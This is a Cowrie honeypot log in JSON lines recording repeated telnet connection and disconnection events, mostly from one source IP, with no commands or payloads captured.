{"eventid":"cowrie.session.closed","duration":31.27003002166748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.481730Z","src_ip":"64.235.40.29","session":"d9e99c2d1433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287859439849854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.608501Z","src_ip":"160.250.4.73","session":"d2dabbb213bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52210,"dst_ip":"10.17.0.5","dst_port":23,"session":"c372a7a71461","protocol":"telnet","message":"New connection: 64.235.40.29:52210 (10.17.0.5:23) [session: c372a7a71461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.656110Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52218,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b8e14ef569b","protocol":"telnet","message":"New connection: 64.235.40.29:52218 (10.17.0.5:23) [session: 4b8e14ef569b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.673643Z"}
{"eventid":"cowrie.session.closed","duration":30.900171756744385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.718676Z","src_ip":"64.235.40.29","session":"9dfc96b4d05b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8768150806427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.830759Z","src_ip":"64.235.40.29","session":"a37b93658e2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52238,"dst_ip":"10.17.0.5","dst_port":23,"session":"1195c2c9320b","protocol":"telnet","message":"New connection: 64.235.40.29:52238 (10.17.0.5:23) [session: 1195c2c9320b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:10.917912Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52280,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0d29737cbc","protocol":"telnet","message":"New connection: 64.235.40.29:52280 (10.17.0.5:23) [session: 0c0d29737cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.060961Z"}
{"eventid":"cowrie.session.closed","duration":31.10002827644348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.073148Z","src_ip":"64.235.40.29","session":"2ab9d3ca8204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84699583053589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.082432Z","src_ip":"212.129.6.158","session":"964533a33284","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.659117221832275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.085681Z","src_ip":"212.129.6.158","session":"4f9c3d7f6e39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54158353805542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.194033Z","src_ip":"64.235.40.29","session":"aa3a8046a759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52288,"dst_ip":"10.17.0.5","dst_port":23,"session":"a75e6e0755ac","protocol":"telnet","message":"New connection: 64.235.40.29:52288 (10.17.0.5:23) [session: a75e6e0755ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.216226Z"}
{"eventid":"cowrie.session.closed","duration":31.368874311447144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.405224Z","src_ip":"160.250.4.73","session":"30133bede7d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52298,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6f95de40b94","protocol":"telnet","message":"New connection: 64.235.40.29:52298 (10.17.0.5:23) [session: d6f95de40b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.425331Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52310,"dst_ip":"10.17.0.5","dst_port":23,"session":"66bdf99e7c81","protocol":"telnet","message":"New connection: 64.235.40.29:52310 (10.17.0.5:23) [session: 66bdf99e7c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.580348Z"}
{"eventid":"cowrie.session.closed","duration":31.333697080612183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.704236Z","src_ip":"64.235.40.29","session":"fe3f7137fb31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52312,"dst_ip":"10.17.0.5","dst_port":23,"session":"547ef5fd848e","protocol":"telnet","message":"New connection: 64.235.40.29:52312 (10.17.0.5:23) [session: 547ef5fd848e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.729540Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52318,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfdc7cb0486a","protocol":"telnet","message":"New connection: 64.235.40.29:52318 (10.17.0.5:23) [session: cfdc7cb0486a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.794778Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50430,"dst_ip":"10.17.0.5","dst_port":23,"session":"e23be0d86c17","protocol":"telnet","message":"New connection: 160.250.4.73:50430 (10.17.0.5:23) [session: e23be0d86c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.832716Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51956,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3466016d1ab","protocol":"telnet","message":"New connection: 64.235.40.29:51956 (10.17.0.5:23) [session: e3466016d1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:11.903133Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fab0d0518a6","protocol":"telnet","message":"New connection: 64.235.40.29:52326 (10.17.0.5:23) [session: 3fab0d0518a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.009911Z"}
{"eventid":"cowrie.session.closed","duration":30.831785917282104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.024371Z","src_ip":"135.148.33.217","session":"9443c687304a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921453952789307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.031344Z","src_ip":"64.235.40.29","session":"4b6caafc9a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30083179473877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.041159Z","src_ip":"64.235.40.29","session":"af716096f8de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.349523544311523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.044344Z","src_ip":"64.235.40.29","session":"cf5d82956441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17368745803833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.060847Z","src_ip":"64.235.40.29","session":"ae4706d5fa76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91524338722229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.099990Z","src_ip":"135.148.33.217","session":"90c07847e8d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943296909332275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.132981Z","src_ip":"64.235.40.29","session":"46479b2bc94a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52344,"dst_ip":"10.17.0.5","dst_port":23,"session":"e135aa6e3a6b","protocol":"telnet","message":"New connection: 64.235.40.29:52344 (10.17.0.5:23) [session: e135aa6e3a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.164667Z"}
{"eventid":"cowrie.session.closed","duration":31.219156980514526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.229764Z","src_ip":"64.235.40.29","session":"6442eecddf5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52370,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3ae8a9f8253","protocol":"telnet","message":"New connection: 64.235.40.29:52370 (10.17.0.5:23) [session: a3ae8a9f8253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.316165Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52378,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d170abd0ea","protocol":"telnet","message":"New connection: 64.235.40.29:52378 (10.17.0.5:23) [session: 38d170abd0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.322008Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52386,"dst_ip":"10.17.0.5","dst_port":23,"session":"e358389d906e","protocol":"telnet","message":"New connection: 64.235.40.29:52386 (10.17.0.5:23) [session: e358389d906e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.669226Z"}
{"eventid":"cowrie.session.closed","duration":31.49260973930359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.707176Z","src_ip":"64.235.40.29","session":"eb3492318b70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52402,"dst_ip":"10.17.0.5","dst_port":23,"session":"e419c1ce2a08","protocol":"telnet","message":"New connection: 64.235.40.29:52402 (10.17.0.5:23) [session: e419c1ce2a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.867223Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52418,"dst_ip":"10.17.0.5","dst_port":23,"session":"58560be9fe62","protocol":"telnet","message":"New connection: 64.235.40.29:52418 (10.17.0.5:23) [session: 58560be9fe62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:12.896246Z"}
{"eventid":"cowrie.session.closed","duration":30.505594491958618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.085816Z","src_ip":"64.235.40.29","session":"8b891e4a81b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52440,"dst_ip":"10.17.0.5","dst_port":23,"session":"125cb99da5d2","protocol":"telnet","message":"New connection: 64.235.40.29:52440 (10.17.0.5:23) [session: 125cb99da5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.092006Z"}
{"eventid":"cowrie.session.closed","duration":30.844216108322144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.095711Z","src_ip":"64.235.40.29","session":"ec54495c8711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.308598518371582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.117562Z","src_ip":"64.235.40.29","session":"3616dfa170c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52454,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a84a4123dd","protocol":"telnet","message":"New connection: 64.235.40.29:52454 (10.17.0.5:23) [session: 87a84a4123dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.127153Z"}
{"eventid":"cowrie.session.closed","duration":30.749224424362183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.130651Z","src_ip":"64.235.40.29","session":"d9ee252c4cf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847058534622192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.145630Z","src_ip":"160.250.4.73","session":"745d04e0533d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49066686630249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.178092Z","src_ip":"64.235.40.29","session":"05a1d72aa8b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107085704803467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.223975Z","src_ip":"64.235.40.29","session":"d8247e67cfa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52468,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dc58db2bdd2","protocol":"telnet","message":"New connection: 64.235.40.29:52468 (10.17.0.5:23) [session: 0dc58db2bdd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.241402Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":56700,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a0458522ef","protocol":"telnet","message":"New connection: 195.154.29.177:56700 (10.17.0.5:23) [session: c5a0458522ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.362771Z"}
{"eventid":"cowrie.session.closed","duration":31.163217544555664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.384834Z","src_ip":"64.235.40.29","session":"b3f4c117bf9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50460,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a7a04db5eb7","protocol":"telnet","message":"New connection: 160.250.4.73:50460 (10.17.0.5:23) [session: 8a7a04db5eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.522938Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52490,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f050dcd117e","protocol":"telnet","message":"New connection: 64.235.40.29:52490 (10.17.0.5:23) [session: 3f050dcd117e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.526169Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52506,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7175c04c653","protocol":"telnet","message":"New connection: 64.235.40.29:52506 (10.17.0.5:23) [session: a7175c04c653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.715689Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52528,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3fd76ed2fac","protocol":"telnet","message":"New connection: 64.235.40.29:52528 (10.17.0.5:23) [session: f3fd76ed2fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:13.916667Z"}
{"eventid":"cowrie.session.closed","duration":30.36107325553894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.041720Z","src_ip":"64.235.40.29","session":"292e25d82346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833173036575317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.045415Z","src_ip":"64.235.40.29","session":"df405895bc8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.617035388946533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.047702Z","src_ip":"64.235.40.29","session":"f4c23753a11d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048420429229736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.149715Z","src_ip":"64.235.40.29","session":"08cabcf15102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.92862296104431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.191142Z","src_ip":"64.235.40.29","session":"f1e587dd5750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214527130126953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.221358Z","src_ip":"64.235.40.29","session":"8148135d6c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52478,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0a29610813","protocol":"telnet","message":"New connection: 64.235.40.29:52478 (10.17.0.5:23) [session: bb0a29610813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.251700Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50482,"dst_ip":"10.17.0.5","dst_port":23,"session":"676c9b21f690","protocol":"telnet","message":"New connection: 160.250.4.73:50482 (10.17.0.5:23) [session: 676c9b21f690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.312978Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50498,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4a5d1f107c9","protocol":"telnet","message":"New connection: 160.250.4.73:50498 (10.17.0.5:23) [session: a4a5d1f107c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.330712Z"}
{"eventid":"cowrie.session.closed","duration":30.929481029510498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.421104Z","src_ip":"64.235.40.29","session":"2f6f62e14feb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52486,"dst_ip":"10.17.0.5","dst_port":23,"session":"9db7d0ff440e","protocol":"telnet","message":"New connection: 64.235.40.29:52486 (10.17.0.5:23) [session: 9db7d0ff440e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.511161Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52534,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bfa37532769","protocol":"telnet","message":"New connection: 64.235.40.29:52534 (10.17.0.5:23) [session: 4bfa37532769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.696479Z"}
{"eventid":"cowrie.session.closed","duration":31.498507022857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.774882Z","src_ip":"160.250.4.73","session":"2a8a52fec9c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40498,"dst_ip":"10.17.0.5","dst_port":23,"session":"c85370e93b23","protocol":"telnet","message":"New connection: 64.235.40.29:40498 (10.17.0.5:23) [session: c85370e93b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:14.995336Z"}
{"eventid":"cowrie.session.closed","duration":30.327986001968384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:15.072088Z","src_ip":"64.235.40.29","session":"bc1233a0aa6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778502464294434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:15.096519Z","src_ip":"64.235.40.29","session":"1a20658633a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40520,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2551c98e747","protocol":"telnet","message":"New connection: 64.235.40.29:40520 (10.17.0.5:23) [session: e2551c98e747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:15.202623Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":52530,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c8bae07312a","protocol":"telnet","message":"New connection: 64.235.40.29:52530 (10.17.0.5:23) [session: 2c8bae07312a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:15.209745Z"}
{"eventid":"cowrie.session.closed","duration":30.79885482788086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:15.355528Z","src_ip":"64.235.40.29","session":"8d02b67d31d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.515796661376953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:15.475677Z","src_ip":"64.235.40.29","session":"8286d7d2f2e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40580,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e4fe37dc7c","protocol":"telnet","message":"New connection: 64.235.40.29:40580 (10.17.0.5:23) [session: 17e4fe37dc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:15.637870Z"}
{"eventid":"cowrie.session.closed","duration":31.04909920692444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.134915Z","src_ip":"64.235.40.29","session":"a36b815baa54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":42764,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a77de175432","protocol":"telnet","message":"New connection: 195.154.29.177:42764 (10.17.0.5:23) [session: 6a77de175432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.205839Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40508,"dst_ip":"10.17.0.5","dst_port":23,"session":"280dd97f772b","protocol":"telnet","message":"New connection: 64.235.40.29:40508 (10.17.0.5:23) [session: 280dd97f772b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.236662Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40584,"dst_ip":"10.17.0.5","dst_port":23,"session":"f31d074c62ba","protocol":"telnet","message":"New connection: 64.235.40.29:40584 (10.17.0.5:23) [session: f31d074c62ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.322765Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40592,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2acdb77023","protocol":"telnet","message":"New connection: 64.235.40.29:40592 (10.17.0.5:23) [session: 0d2acdb77023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.327428Z"}
{"eventid":"cowrie.session.closed","duration":30.863500833511353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.366469Z","src_ip":"64.235.40.29","session":"cc0100179c89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85322666168213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.418746Z","src_ip":"64.235.40.29","session":"190dc8af6b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875694751739502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:16.636389Z","src_ip":"64.235.40.29","session":"a0db1a45d0b1","protocol":"telnet"}
